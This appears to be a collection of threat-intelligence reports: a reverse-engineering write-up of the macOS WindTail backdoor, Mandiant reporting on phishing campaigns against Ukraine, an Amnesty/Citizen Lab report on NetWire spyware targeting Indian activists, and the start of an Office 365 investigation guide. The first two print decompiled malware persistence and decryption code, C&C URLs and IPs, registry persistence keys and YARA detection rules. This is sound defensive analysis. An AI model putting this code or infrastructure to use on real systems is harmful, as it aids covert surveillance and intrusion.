- SHA-1: da342c4ca1b2ab31483c6f2d43cdcc195dfe481b
If we download and extract these applications, they use Microsoft Office icons, likely to avoid raising suspicion. In his talk, Karim notes, “[the WindShift] attackers gave a backdoor a realistic look by mimicking an Excel sheet icon.” The fact that our samples all similarly utilize Microsoft Office icons is the first (of many) characteristics that lead us to confidently tie these samples to the WindShift APT group.
Via the WhatsYourSign utility, we can confirm that indeed they are applications (not documents). Moreover, the utility indicates that the application (i.e. Final_Presentation.app) is neither fully signed and that its signing certificate has been revoked. We can confirm this with the codesign and spctl utilities:
```bash
$ codesign -dvvv Final_Presentation.app
Executable=Final_Presentation.app/Contents/MacOS/usrnode
Identifier=com.alis.tre
Format=app bundle with Mach-O thin (x86_64)
...
Authority=(unavailable)
Info.plist=not bound
TeamIdentifier=95RKE2AA8F
Sealed Resources version=2 rules=12 files=4
Internal requirements count=1 size=204
$ spctl --assess Final_Presentation.app
Final_Presentation.app: CSSMERR_TP_CERT_REVOKED
```
The fact that the signing certificate(s) of all the samples are revoked (CSSMERR_TP_CERT_REVOKED) means that Apple knows about this certificate…and thus surely this malware as well. Yet the majority of the samples (3 of 4) are detected by zero anti-virus engines on VirusTotal.
Before diving into reversing/debugging these samples, let’s take a quick peek at their application bundles. First, note the main executable is named usrnode. This is also specified in the application’s Info.plist file (CFBundleExecutable is set to usrnode):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0">
<dict>
...
<key>CFBundleExecutable</key>
<string>usrnode</string>
...
<key>CFBundleIdentifier</key>
<string>com.alis.tre</string>
...
<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleURLName</key>
<string>Local File</string>
<key>CFBundleURLSchemes</key>
<array>
<string>openurl2622007</string>
</array>
</dict>
</array>
...
<key>LSMinimumSystemVersion</key>
<string>10.7</string>
...
<key>NSUIElement</key>
<string>1</string>
</dict>
</plist>
```
Other interesting keys include LSMinimumSystemVersion which indicates the (malicious) application is compatible with OSX 10.7 (Lion), and NSUIElement key which tells the OS to execute the application without a dock icon nor menu (i.e. hidden). However, the most interesting key is the CFBundleURLSchemes (within the CFBundleURLTypes). This key holds an array of custom URL schemes that the application implements (here: openurl2622007).
The OSX.WindTail.A sample described by Karim used a similarly named custom URL scheme: openurl2622015.
Let’s dive into some disassembly! Loading the main binary usrnode into a disassembler (I used Hopper), we start at the main() function:
```c
int main(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5) {
r12 = [NSURL fileURLWithPath:[[NSBundle mainBundle] bundlePath]];
rbx = LSSharedFileListCreate(0x0, _kLSSharedFileListSessionLoginItems, 0x0);
LSSharedFileListInsertItemURL(rbx, _kLSSharedFileListItemLast, 0x0, 0x0, r12, 0x0, 0x0);
...
rax = NSApplicationMain(r15, r14);
return rax;
}
```
The LSSharedFileListInsertItemURL API is documented by Apple. So what does the LSSharedFileListInsertItemURL API do? It adds a login item, which is a mechanism to gain persistence and ensure that the (malicious) application will be automatically (re)started every time the user logs in. This is visible via System Preferences.
The main() function invokes the NSApplicationMain method, which in turn invokes the applicationDidFinishLaunching method:
```objc
-(void)applicationDidFinishLaunching:(void *)arg2 {
r15 = self;
r14 = [[NSDate alloc] init];
rbx = [[NSDateFormatter alloc] init];
[rbx setDateFormat:@"dd-MM-YYYYHH:mm:ss"];
r14 = [[[[rbx stringFromDate:r14] componentsSeparatedByCharactersInSet:[NSCharacterSet characterSetWithCharactersInString:cfstring____]] componentsJoinedByString:@""] stringByReplacingOccurrencesOfString:@" " withString:@""];
rcx = [[NSBundle mainBundle] resourcePath];
rbx = [NSString stringWithFormat:@"%@/date.txt", rcx];
rax = [NSFileManager defaultManager];
rdx = rbx;
if ([rax fileExistsAtPath:rdx] == 0x0) {
rax = arc4random();
rax = [NSString stringWithFormat:@"%@%@", r14, [[NSNumber numberWithInt:rax - (rax * 0x51eb851f >> 0x25) * 0x64, (rax * 0x51eb851f >> 0x25) * 0x64] stringValue]];
rcx = 0x1;
r8 = 0x4;
rdx = rbx;
rax = [rax writeToFile:rdx atomically:rcx encoding:r8 error:&var_28];
if (rax == 0x0) {
r8 = 0x4;
rax = [NSUserDefaults standardUserDefaults];
rcx = @"GenrateDeviceName";
rdx = 0x1;
[rax setBool:rdx forKey:rcx, r8];
[[NSUserDefaults standardUserDefaults] synchronize];
}
}
[r15 read];
[r15 tuffel];
[NSThread detachNewThreadSelector:@selector(mydel) toTarget:r15 withObject:0x0];
return;
}
```
Pulling apart the above code, we can see:
1. The (malicious) application generates the current date/time and formats it.
2. Builds a path to date.txt in its application bundle (Contents/Resources/date.txt).
3. If this file doesn’t exist, write out the (formatted) date and a random number.
4. If this fails, set the GenrateDeviceName (sic) user default key to true.
5. Read in the data from the date.txt file.
6. Invoke the tuffel method.
7. Spawn a thread to execute the mydel method.
Clearly, steps 1-5 are executed to generate, then load, a unique identifier for the implant.
The tuffel method is rather involved (and we’ll expand upon in an update to this blog post). However, some of its main actions include:
1. Moving the (malicious) application into the /Users/user/Library/ directory.
2. Executing this persisted copy via the open command.
3. Decrypting embedded strings that relate to file extensions of (likely) interest.
We can observe step #2 (execution of the persisted copy) via my open-source process monitor library, ProcInfo:
```
procInfo[915:9229] process start:
pid: 917
path: /usr/bin/open
user: 501
args: (
open,
"-a",
"/Users/user/Library/Final_Presentation.app"
)
```
Step #3 (string decryption) is interesting as it both reveals the capabilities of the malware as well as helps identify the (malicious) application as OSX.WindTail. The yoop method appears to be the string decryption routine:
```objc
-(void *)yoop:(void *)arg2 {
rax = [[[NSString alloc] initWithData:[[yu decode:arg2] AESDecryptWithPassphrase:cfstring__] encoding:0x1] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceCharacterSet]];
return rax;
}
```
Specifically, it invokes a decode and AESDecryptWithPassphrase helper methods. Looking closer at the call to the AESDecryptWithPassphrase method, we can see it’s invoked with a variable named cfstring__ (at address 0x100013480). This is the (hard-coded) AES decryption key.
Interestingly, this is the exact same key as Karim showed in his slides for OSX.WindTail.A. To see what the (malicious) application is decrypting, we can simply set a breakpoint within the yoop method and then dump the (now) decrypted strings:
```
(lldb) b 0x000000010000229b
Breakpoint 8: where = usrnode`___lldb_unnamed_symbol6$$usrnode + 92, address = 0x000000010000229b
(lldb) po $rax
http://flux2key.com/liaROelcOeVvfjN/fsfSQNrIyxeRvXH.php?very=%@&xnvk=%@
```
It’s rather easy to break ‘AES’ when you have the key. Other strings that are decrypted relate to file extensions of (likely) interest such as doc, pdf, db, etc. Makes sense that a cyber-espionage implant would be interested in such things, right?
Moving on, the myDel method appears to attempt to connect to the malware’s C&C servers. Of course, these are encrypted, but again, by dynamically debugging the malware, we can simply wait until it invokes the AES decryption routine, then dump the (now) plaintext strings:
```
(lldb) x/s 0x0000000100350a40
0x100350a40: "string2me.com/qgHUDRZiYhOqQiN/kESklNvxsNZQcPl.php
...
(lldb) x/s 0x0000000100352fe0
0x100352fe0: "http://flux2key.com/liaROelcOeVvfjN/fsfSQNrIyxeRvXH.php?very=%@&xnvk=%@
```
The C&C domains (string2me.com and flux2key.com) are both WindShift domains, as noted by Karim in an interview with itWire: “the domains string2me.com and flux2key.com identified as associated with these attacks.” These domains are currently offline.
Thus, the malware appears to remain rather inactive. That is to say, in a debugger, it doesn’t do much - as it’s likely awaiting commands from the (offline) C&C servers. However, a brief (static) triage of other methods found within the (malicious) application indicates it likely supports ‘standard’ backdoor capabilities such as file exfiltration and the (remote) execution of arbitrary commands. I’ll keep digging and update this post with any new findings!
### Conclusion
WindShift is an intriguing APT, selectively targeting individuals in the Middle East. Its macOS capabilities are rather unique and make for a rather interesting case study! Today, for the first time, we publicly shared samples of a malicious application that I’m highly confident is OSX.WindTail.A (or is some variant thereof). This claim is based upon naming schemes, unique infection mechanism, shared AES-decryption key, and some off-the-record insight.
In this blog post, we analyzed the OSX.WindTail to reveal its initial infection vector, method of persistence, capabilities, and command & control servers. All that’s left is to talk about detection and removal.
First, good news, Objective-See’s tools such as BlockBlock and KnockKnock are able to both detect and block this malware with no a priori knowledge. Since current anti-virus engines (at least those found on VirusTotal) currently do not detect these threats, it’s probably best to stick to tools (such as BlockBlock and KnockKnock) that can heuristically detect malware.
Though a tool such as KnockKnock is the suggested way to detect an infection, you can also manually check if you’re infected. Check for a suspicious Login Item via the System Preferences application, and/or for the presence of suspicious applications in your ~/Library/ folder (likely with a Microsoft Office icon, and perhaps an invalid code signature). Deleting any such applications and Login Item will remove the malware. However, if you were infected (which is very unlikely, unless you’re a government official in a specific Middle Eastern country), it’s best to fully wipe your system and re-install macOS! |
# Evacuation and Humanitarian Documents used to Spear Phish Ukrainian Entities
## Foreword
Mandiant is publishing the following blog to provide insight and context on a sampling of malicious activity targeting Ukrainian entities during the ongoing war. We are highlighting UNC1151 and suspected UNC2589 operations leveraging phishing with malicious documents leading to malware infection chains. Indicators used in these operations have been released by U.S. CYBERCOMMAND. UA CERT has also published on several of these operations.
## Threat Detail
Since the start of the Russian invasion, public and private Ukrainian entities have been targeted by multiple cyber espionage groups. This blog goes into detail regarding two operations from UNC2589 and an operation from clusters likely related to UNC1151. While these groups have distinct sponsors and goals, the operations detailed here are united by their use of lure documents about public safety to entice victims to open the spear phishing attachment.
Spear phishes with themes that are urgent or timely can make a recipient more likely to open them, and documents related to public safety and humanitarian emergencies are of particularly high interest to the residents of Ukraine following the Russian invasion. These operations were designed to gain access to networks of interest, but we do not have insight into the planned follow-on activities. The malware used in these intrusion attempts would enable a wide variety of operations, and these groups have previously conducted espionage, information operations, and disruptive attacks.
The intrusion attempts detailed below share a tactic; however, they are the work of two separate cyber espionage groups.
### UNC1151
UNC1151 is a group that Mandiant assesses is sponsored by Belarus and has frequently used the access and information gained by their intrusions to support information operations tracked as “Ghostwriter.” Mandiant released a blog last year detailing our assessments on UNC1151, and they have continued to be very active in targeting Ukraine since the start of the Russian invasion, paralleling Belarus’s government’s enablement of Russia’s invasion.
### UNC2589
UNC2589 is believed to act in support of Russian government interest and has been conducting extensive espionage collection in Ukraine. Notably, we assess UNC2589 is behind the January 14th disruptive attacks on Ukrainian entities with PAYWIPE (WHISPERGATE). Following the disruptive attack, UNC2589 has primarily targeted Ukraine but has also been active against NATO member states in North America and Europe.
The activity discussed below is only a small subset of the extensive cyber operations that have targeted Ukraine with disruptive and espionage-motivated operations.
## Likely UNC2589 Operations
### Actor Overview
UNC2589 is a cluster of cyber espionage activity Mandiant has tracked since early 2021 and may have been active as early as late 2020. Though UNC2589 has primarily targeted entities in Ukraine and Eastern Europe, it has also actively targeted government and defense entities throughout Europe and North America. We believe UNC2589 acts in support of Russian government goals, but have not uncovered evidence to link it conclusively.
UNC2589 uses spear phishing campaigns, which may be disguised as forwarded emails from both actor-controlled and compromised legitimate accounts. Lure themes leveraged by UNC2589 include COVID-19, the war in Ukraine, government-related themes, regional themes, or even generic themes such as Bitcoin. Payloads for the phishing operations include malicious macro documents, CPL downloaders, ZIP files, or other archives. UNC2589 has also used a variety of different infrastructure, including actor-controlled domains, IP addresses located mostly in Russia, and Discord channels.
Though we track UNC2589 as a cluster of cyber espionage activity, we have attributed the January 14 destructive attack on Ukraine using PAYWIPE (WHISPERGATE) to UNC2589. We believe UNC2589 may be capable of engaging in disruptive or destructive cyber operations in the future.
### Malware Overview
**GRIMPLANT** is a backdoor written in GO which reaches out using Google RPC to a Base64-encoded and AESCTS-encrypted C&C read from a command-line argument. GRIMPLANT conducts a system survey which it uploads to the C&C and can execute commands provided by the C&C on the victim’s device.
**GRAPHSTEEL** is an infostealer which appears to be a modified, weaponized version of the public Github project goLazagne. GRAPHSTEEL gathers a survey of the victim machine including browser credentials, enumerates drives D – Z, and uploads files to the C&C.
### Likely UNC2589 Campaign Leverages Evacuation-Themed Lure
Mandiant analyzed a malicious document with an evacuation plan-themed lure, likely used by UNC2589 to target Ukrainian entities in a phishing campaign in late February 2022. This sample is a packed SFX RAR that runs and installs an Arabic version of the RemoteUtils utility. Upon execution, the Remote Utilities utility reaches out to a C&C used in an earlier UNC2589 operation also targeting Ukraine.
The infection vector is currently uncertain, but we suspect the malicious files may have been delivered via phishing email. It is important to note that Remote Utilities comes in a UPX-packed SFX RAR from the vendor, and it does not appear the attackers changed the default. However, the attackers appear to have used several layers of password-protected archives before dropping and executing the default UPX-packed SFX extractor with a SFX RAR. The lure documents all reference an “evacuation plan” allegedly originating from the Ukrainian SBU.
#### Execution
Upon execution of the packed SFX RAR, it installs the Remote Utilities executable. The Remote Utilities executable reaches out to preconfigured C&Cs iteratively over TCP:
- 111.90.151.182:5651
- 111.90.151.182:8080
- 111.90.151.182:5555
- 111.90.151.182:4899
Remote Utilities is not malicious by itself but can be used maliciously by threat actors. The utility can enable a threat actor to:
- Download and upload files to a C&C
- Remotely execute files
- Set persistence through a startup service
### Persistence Method
Remote Utilities allows attackers to set persistence through creating a startup service.
## Likely UNC2589 Uses Wage and Anti-Virus Themed Lures
Mandiant Intelligence discovered a likely UNC2589 related phishing campaign targeting Ukrainian entities with GRIMPLANT and GRAPHSTEEL malware on March 27, 2022. The Ukrainian CERT previously reported on UAC-0056, a cluster that aligns with what we track as UNC2589, using GRIMPLANT, GRAPHSTEEL, and BEACON malware against Ukrainian entities.
The malware was delivered via phishing email. The attacker used a compromised legitimate account from a related organization to send the phishing emails on March 27. The phishing email contained an attached XLS document with macros.
#### Execution
Upon execution of Base-Update.exe, it proceeds to download, Base64-decode, and execute another time-stamped downloader written in Go. Java-sdk.exe sets persistence for itself via setting a Run registry key. It then proceeds to download, decode, and execute two additional Base64-encoded files, GRIMPLANT and GRAPHSTEEL.
### GRIMPLANT Execution
Upon execution of GRIMPLANT, it reads its configured C&C from the command line. The configured C&C is Base64-encoded and AESCTS-encrypted and results in GRIMPLANT communicating to 194.31.98.124. GRIMPLANT conducts a basic system survey, querying the following:
- Computer name
- Username
- Home directory
- IP address (via Ipify API)
- Hostname
- OS
- Number of CPUs
GRIMPLANT then uploads the system survey to the C&C. Note that GRIMPLANT communicates with the C&C over Google RPC using TLS. GRIMPLANT handles PowerShell commands it receives from the C&C, sending the result of the command back to the C&C.
### GRAPHSTEEL Execution
Upon execution of GRAPHSTEEL, it conducts a system survey of the host and user information and reaches out to the ipify API to determine the IP address. It then AESCTS encrypts and uploads the surveyed victim information to the C&C. When it gets a response from the C&C, GRAPHSTEEL proceeds to harvest browser credentials, including:
- Chrome
- Internet Explorer
- FireFox
- Thunderbird
GRAPHSTEEL also attempts to collect mail data from Mozilla Thunderbird, extract data from Filezilla, find unprotected SSH keys on the target machine, query Putty to access the public key, and read any MobaXterm config. After collecting this information, it encrypts and uploads the information to the C&C. GRAPHSTEEL then enumerates drives D-Z and the files within each drive.
### Persistence Method
The malware maintains its persistence on the victim’s system by setting the following Run registry key:
- Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\java-sdk
- Value: %TEMP%\java-sdk.exe
## Related Samples
This activity is related to activity previously reported on by UA CERT on a campaign leveraging GRIMPLANT and GRAPHSTEEL malware. Notably, the two campaigns share malware overlaps and filename overlaps but lack infrastructure overlaps.
## UNC1151 Operations
### Actor Overview
UNC1151 is a cluster of cyber espionage activity which has links to the Belarusian government. UNC1151 primarily targets government and media entities focusing on Ukraine, Lithuania, Latvia, Poland, and Germany. UNC1151 has been active in targeting primarily Ukraine and Poland since the Russian invasion of Ukraine in February.
### Malware Overview
**BEACON** is a backdoor written in C/C++ that is part of the Cobalt Strike framework. Supported backdoor commands include shell command execution, file transfer, file execution, and file management. BEACON can also capture keystrokes and screenshots as well as act as a proxy server.
**MICROBACKDOOR** is a client backdoor and server-side tool which has been available on GitHub since May 2021. MICROBACKDOOR can upload and download files, execute commands, update itself, and take screenshots. It also supports HTTP, Socks4, and Socks5 proxies to route traffic.
### UNC1151 Uses Sheltering-Themed Lures
In early March 2022, Mandiant Threat Intelligence discovered new activity targeting Ukrainian entities using MICROBACKDOOR and a lure titled “що робити? пiд час артилерiйских обстрiлiв системами залповова вогню” (Translation: “What to do? During artillery shelling by volley fire systems”). To deliver the payload, the actor used a ZIP containing a CHM-file.
#### Execution
If the desktop.ini does not exist in the path C:\Users\Public\Favorites\desktop.ini (indicating that the backdoor is not yet installed), the VBS code within dovidka.chm drops the decoded next payload to C:\Users\Public\ignit.vbs. The code then creates the folder C:\Users\Public\Favorites and executes C:\Users\Public\ignit.vbs.
The VBS file ignit.vbs drops three files:
- %STARTUP%\Windows Prefetch.lNk: LNK used to achieve persistence for the payload via the Startup folder.
- C:\Users\Public\Favorites\desktop.ini: Helper file to launch the payload, core.dll.
- C:\Users\Public\Libraries\core.dll: Follow-on payload.
The file C:\Users\Public\Libraries\core.dll is a malicious .NET file packed with an unknown obfuscator which may be related to Confuser. This sample drops an additional malicious payload into memory and executes it.
## Appendix
### MITRE ATT&CK Framework
**UNC2589**
- T1003: OS Credential Dumping
- T1027: Obfuscated Files or Information
- T1027.002: Software Packing
- T1055: Process Injection
- T1059: Command and Scripting Interpreter
- T1059.005: Visual Basic
- T1070.006: Timestomp
- T1071.001: Web Protocols
- T1082: System Information Discovery
- T1083: File and Directory Discovery
- T1114.001: Local Email Collection
- T1140: Deobfuscate/Decode Files or Information
- T1497.001: System Checks
- T1547.001: Registry Run Keys / Startup Folder
- T1552.001: Credentials In Files
- T1555.003: Credentials from Web Browsers
- T1560: Archive Collected Data
- T1560.001: Archive via Utility
- T1566.001: Spearphishing Attachment
- T1573.001: Symmetric Cryptography
- T1573.002: Asymmetric Cryptography
- T1622: Debugger Evasion
**UNC1151**
- T1012: Query Registry
- T1016: System Network Configuration Discovery
- T1027: Obfuscated Files or Information
- T1033: System Owner/User Discovery
- T1055: Process Injection
- T1059: Command and Scripting Interpreter
- T1070.006: Timestomp
- T1071.001: Web Protocols
- T1082: System Information Discovery
- T1083: File and Directory Discovery
- T1087: Account Discovery
- T1095: Non-Application Layer Protocol
- T1140: Deobfuscate/Decode Files or Information
- T1547.009: Shortcut Modification
- T1573.002: Asymmetric Cryptography
- T1620: Reflective Code Loading
- T1622: Debugger Evasion
### Detection Rules
```plaintext
rule MTI_HUNTING_Crypto_GRIMPLANT_GRAPHSTEEL {
meta:
author = "Mandiant Threat Intelligence"
descr = "Find the crypto key for GRIMPLANT/GRAPHSTEEL C2 decryption"
disclaimer = "This rule is meant for hunting and is not tested to run in a production environment."
strings:
$ = {f1 d2 19 60 d8 eb 2f dd f2 53 8d 29 a5 fd 50 b5}
$ = {f6 4a 3f 9b f0 6f 2a 3c 4c 95 04 38 c9 a7 f7 8e}
$ = " ciphertext is not large enough. It is less than one block size. Blocksize:%v; Ciphertext:%v"
condition:
all of them
}
rule MTI_Hunt_APT_Modified_MICROBACKDOOR_Strings {
meta:
description = "Detects strings found in modified MICROBACKDOOR samples with screenshot capability"
disclaimer = "This rule is meant for hunting and is not tested to run in a production environment"
strings:
$a = "ERROR: Unknown command"
$b = "ProxyServer"
$c = "screenshot"
$d = "uninst"
$e = "shell"
$f = "client.dll"
$g = "T imeout occurred"
condition:
all of them
}
``` |
# India: Human Rights Defenders Targeted by a Coordinated Spyware Operation
Nine human rights defenders, most of whom have been fighting for the release of the Bhima Koregaon 11 through litigation, research, or activism, were unlawfully targeted with a spyware attack. This blog post is jointly written by Amnesty International and Citizen Lab. Citizen Lab is an interdisciplinary laboratory based at the Munk School of Global Affairs & Public Policy at the University of Toronto.
## Summary
Amnesty International and the Citizen Lab have uncovered a coordinated spyware campaign targeting at least nine human rights defenders (HRDs) in India. Eight of the nine HRDs have been calling for the release of other prominent activists, popularly known as the Bhima Koregaon 11, most of whom have been imprisoned in Maharashtra, India since 2018. Between January and October 2019, the HRDs were targeted with emails containing malicious links. If these links were clicked, a form of commercially-manufactured Windows spyware would have been deployed, compromising the target’s Windows computers, in order to monitor their actions and communications. This is a violation of their rights to freedom of expression and privacy. At least three of the nine HRDs were also targeted with NSO Group’s Pegasus spyware in 2019.
## Introduction
Amnesty International and the Citizen Lab have uncovered a coordinated spyware campaign targeting at least nine human rights defenders (HRDs) in India. These targets include activists, lawyers, academics, and journalists. Between January and October 2019, each of the targets were sent spearphishing emails containing malicious links that, if opened, would have installed NetWire, a commercially available spyware. A spearphishing attack is a targeted attempt to install spyware on the victim’s computer or smartphone, often impersonating colleagues or loved ones.
While NetWire is known to be used in cybercrime and corporate espionage, Amnesty International and the Citizen Lab believe that in this case it was used to target the HRDs because of their human rights work. Surveillance of people based solely on their human rights work amounts to an arbitrary and unlawful attack on their privacy and violates their right to freedom of expression and other rights that are enshrined in the International Covenant on Civil and Political Rights, to which India is a state party.
## Context
The targeted HRDs have been openly speaking out about human rights violations in the country. Recently, eight called for the release of 11 prominent activists arrested two years ago in relation to the protests and violence at Bhima Koregaon in Maharashtra, a state in south-west India. One of the targets is not directly linked to this case but has been vocal in calling for the release of GN Saibaba, a disabled academic jailed in Maharashtra.
### The Bhima Koregaon Case
On 31 December 2017, activists organized a public event in Bhima Koregaon, Maharashtra. The following day, violence erupted between Dalits and Hindu nationalists. Police claim that activists at the event allegedly instigated the violence through inflammatory speeches. The police allegedly found evidence of other criminal activities as well. In 2018, the Maharashtra Police arrested nine activists including Sudha Bharadwaj, Shoma Sen, Surendra Gadling, Mahesh Raut, Arun Ferreira, Sudhir Dhawale, Rona Wilson, Vernon Gonsalves, and Varavara Rao. The subsequent charge sheets filed by the police accuse the HRDs of terror-related activities. In February 2020, the National Investigation Agency (NIA) took over the case from the Maharashtra police after the newly-elected Maharashtra Government raised doubts about the police investigation and signaled a probe against the officials. In March 2020, the Supreme Court of India denied anticipatory bail applications of two other activists, Gautam Navlakha and Anand Teltumbde, who were also charged in the same case. They were both arrested on 14 April 2020. The case relies almost entirely on digital evidence obtained from the arrested activists’ devices. In a breach of due process, some materials found on their devices were also released to the media in an effort to smear the activists.
The arrest of the eleven HRDs is an egregious example of how Indian authorities are clamping down on dissent and activism. These activists have been charged under various penal provisions and the draconian Unlawful Activities (Prevention) Act (UAPA), an anti-terror law that violates several international human rights standards and circumvents fair trial guarantees. It is also routinely used to intimidate HRDs, journalists, activists, and students through arbitrary arrests and prolonged detention. These 11 activists are currently imprisoned, and rights groups, including Amnesty International India, have demanded their release.
The attempts at unlawful surveillance outlined in this blog are not the first time that activists and HRDs have been targeted with malware in India. In October 2019, Facebook’s WhatsApp revealed that NSO Group, a surveillance tool vendor, had exploited a zero-day vulnerability on their platform to target 1400 individuals earlier in the year. A zero-day vulnerability is a security flaw in software which is unknown to the vendor or developer. In collaboration with Citizen Lab, WhatsApp revealed that more than 100 of those targeted were HRDs, activists, journalists, across numerous countries and notified them of the breach. Subsequent reports revealed that at least 22 of the 100 were activists, lawyers, and scholars, including many HRDs who have been involved in advocating for the release of the 11 activists. NSO Group says that it sells its products only to government intelligence and law enforcement agencies.
### Targeted Campaign against HRDs demanding the release of the Bhima Koregaon 11
The spyware campaign revealed in this blog targeted lawyers and activists Nihalsing B Rathod, Degree Prasad Chouhan, Yug Mohit Choudhary, and Ragini Ahuja; academics Partho Sarothi Ray and PK Vijayan, a journalist who prefers to stay anonymous, and a human rights collective – Jagdalpur Legal Aid Group (JAGLAG), received malicious e-mails on the group’s official ID, which is accessed by all of its members, including lawyer Shalini Gera. Another JAGLAG member, Isha Khandelwal, also received malicious emails on her personal account. All the people mentioned consented to be named in this blog.
Nihalsing B Rathod is a human rights lawyer based in Maharashtra. He has worked closely with the imprisoned lawyer Surendra Gadling as a junior lawyer. Crucially, he is one of the leading lawyers representing one of the 11 imprisoned HRDs in their legal proceedings.
Isha Khandelwal is a lawyer associated with JAGLAG, a Chhattisgarh-based lawyers collective which provides legal aid to the Adivasi/indigenous and other marginalized communities. The group’s primary email, which was targeted, is also accessed by lawyer Shalini Gera. They are also involved in the legal defense of the HRDs in the same case.
Degree Prasad Chouhan is a Dalit HRD who has worked closely with Sudha Bharadwaj in the past. Degree has been documenting and campaigning against land dispossession and forced evictions of indigenous communities in India, which have been carried out by coal companies and governments.
Partho Sarothi Ray is a Kolkata-based activist and academic, who has been a vocal critic of rights violations in the country. He has also been a member of a collective called Persecuted Prisoners’ Solidarity Committee and has spoken out openly against the imprisonment of these 11 activists.
Yug Mohit Chaudhry and Ragini Ahuja are criminal lawyers based in Mumbai. Their main area of work includes litigating death penalty and civil liberties cases. They represent two of the 11 imprisoned activists in the legal proceedings.
A journalist based in Maharashtra, who wishes to remain anonymous, was also targeted. The journalist has been closely reporting on the Bhima Koregaon case. Finally, PK Vijayan is a Delhi-based academic. He is not directly linked to the campaign for the release of the 11 HRDs but is known to have campaigned for the release of GN Saibaba, a disabled academic who remains imprisoned in Maharashtra. Saibaba has been convicted under the draconian UAPA.
While the spyware campaign detailed in this blog has no known links to NSO Group, three of the nine HRDs targeted - Shalini Gera (from JAGLAG), Nihal Singh Rathod, and Degree Prasad Chouhan- were targeted using NSO Group’s surveillance tools. Anand Teltumbde, who is one of the 11 charged and imprisoned in the Bhima Koregaon incident, was also targeted using NSO Group’s tools. That some of these individuals were targeted multiple times shows that there is a disturbing pattern of spyware attacks against HRDs involved in the Bhima Koregaon case.
## A Campaign of Malicious Emails
During this investigation, we identified 12 spearphishing emails sent between January and October 2019 targeting the nine activists. A spearphishing attack is an attempt to install spyware on the victim’s computer or smartphone by sending very carefully crafted and personalized emails to the target, often impersonating colleagues or loved ones. In a successful attack, computers or mobile devices may, in essence, become wiretaps, revealing confidential and intimate conversations and interactions but nullifying the possibility of privacy or confidentiality. Besides this direct effect, the secretive and ubiquitous nature of these attacks means that the victims never know for certain if they are being targeted or have unwittingly downloaded some kind of spyware. The consequence is that they begin to fear that every communication poses a threat, which can be highly disruptive to trust and collaboration.
### Spearphishing Emails
One of the spearphishing emails was sent from an email ID impersonating the name of an activist that may be known by the targets. Other spearphishing emails came from email IDs pretending to be journalists or masquerading as officials from local courts. All these spearphishing emails included a malicious link to a file hosted on Firefox Send, a free and secure file sharing platform developed by Mozilla. We suspect that this technique was used to avoid detection by email spam and malware filters, as a malicious file sent in such a way cannot be analyzed by security solutions used by email providers.
### Commercial Off-the-Shelf Spyware: NetWire
NetWire is a commercially available spyware reportedly used for cyber-criminality and corporate espionage since at least 2014. It has been analyzed in depth by several security companies including the Computer Incident Response Center Luxembourg and Fortinet, who have shown that NetWire exhibits classic spyware features such as stealing credentials, audio recordings, logging keystrokes, and more.
The spearphishing emails targeting these nine HRDs attempted to deliver NetWire by attaching what looked like a PDF document but which was actually malicious Windows programs that, when opened, would install NetWire on the HRD’s device. The disguise of these supposed PDFs included opening a decoy, real PDF when clicked. This tactic was clearly intended to trick the targeted HRD into believing that no infection had taken place. Additionally, this attack takes advantage of numerous other obfuscation techniques often abused by the surveillance industry to make NetWire more challenging to find and analyze.
## Conclusion
A coordinated spyware campaign targeted prominent HRDs, most of whom were vocal against the arbitrary and prolonged imprisonment of the Bhima Koregaon 11. The spearphishing emails and spyware suggest that this is not a cyber-crime attack, but a spyware campaign trying to compromise devices of HRDs. If successful, it would have enabled the attackers to monitor the HRDs' actions and communications and is therefore a violation of their rights to freedom of expression and privacy. This spyware campaign is very concerning in the context of an already perilous situation for HRDs in India where surveillance is used along with threats, imprisonment, and smear campaigns against activists to shrink the space for civil society.
Our investigation was not able to conclusively attribute the attack to a particular group with high confidence. However, it is not the first time that activists and journalists in India have been targeted using malware intended to put them under surveillance. Three of the HRDs in this incident were targeted earlier in 2019 with NSO Group’s Pegasus spyware, a commercial product only sold to government entities. This new campaign confirms that there is a pattern of digital attacks against HRDs supporting the imprisoned Bhima Koregaon activists. This pattern underscores the necessity of India fulfilling its obligation to provide a remedy for these abuses by conducting a full, independent, and impartial investigation into these attacks, including by determining whether there are links between this spyware campaign and specific government agencies.
Targeting people solely for exercising their right to peaceful dissent amounts to an arbitrary or unlawful attack on their privacy and violates their right to freedom of expression. States have an obligation to protect human rights by ensuring that HRDs are protected from unlawful surveillance.
## Recommendations
### To Indian Authorities:
- Conduct an independent, impartial, and transparent investigation into the unlawful targeted surveillance of the nine human rights defenders, including determining whether there are links between this spyware campaign and any specific government agencies.
- Ensure that all surveillance meets the tests of legality, necessity, and proportionality as enshrined in international human rights standards and affirmed in the Supreme Court of India's landmark judgement of KS Puttaswamy v. Union of India.
- Ensure adequate and effective legal remedies are available for people to challenge violations of their human rights linked to surveillance.
- Review Section 69 of the Information Technology Act and the 2018 order of the Ministry of Home Affairs that allows government agencies to intercept, monitor, and decrypt information without any judicial oversight and other procedural safeguards.
- Implement domestic legislation that imposes limits on digital surveillance, ensuring that:
- Surveillance is governed by precise and publicly accessible laws.
- Surveillance is only against specified persons, authorized by a competent, independent, and impartial judicial body with limitations on time, manner, place, and scope of surveillance.
- Authorized digital surveillance is subject to detailed record keeping, in accordance with documented legal processes for a warrant, and targets are notified as soon as practicable without jeopardizing the purpose of surveillance.
- Ensure that all digital surveillance is subject to public oversight mechanisms, including:
- Public notice and consultation for new surveillance purchases.
- An approval process.
- Regular public reporting.
- Ensure that the Personal Data Protection Bill, 2019 is not enacted in its current form and is brought in line with international human rights standards. |
# Obscured by Clouds: Insights into Office 365 Attacks and How Mandiant Managed Defense Investigates
**Joseph Hladik, Josh Fleischer**
**Jul 30, 2020**
**16 mins read**
With Business Email Compromises (BECs) showing no signs of slowing down, it is becoming increasingly important for security analysts to understand Office 365 (O365) breaches and how to properly investigate them. This blog post is for those who have yet to dip their toes into the waters of an O365 BEC, providing a crash course on Microsoft’s cloud productivity suite and its assortment of logs and data sources useful to investigators. We’ll also go over common attacker tactics we’ve observed while responding to BECs and provide insight into how Mandiant Managed Defense analysts approach these investigations at our customers using PowerShell and the FireEye Helix platform.
## Office 365
Office 365 is Microsoft’s cloud-based subscription service for the Microsoft Office suite. It is built from dozens of applications tightly embedded into the lives of today’s workforce, including:
- Exchange Online, for emails
- SharePoint, for intranet portals and document sharing
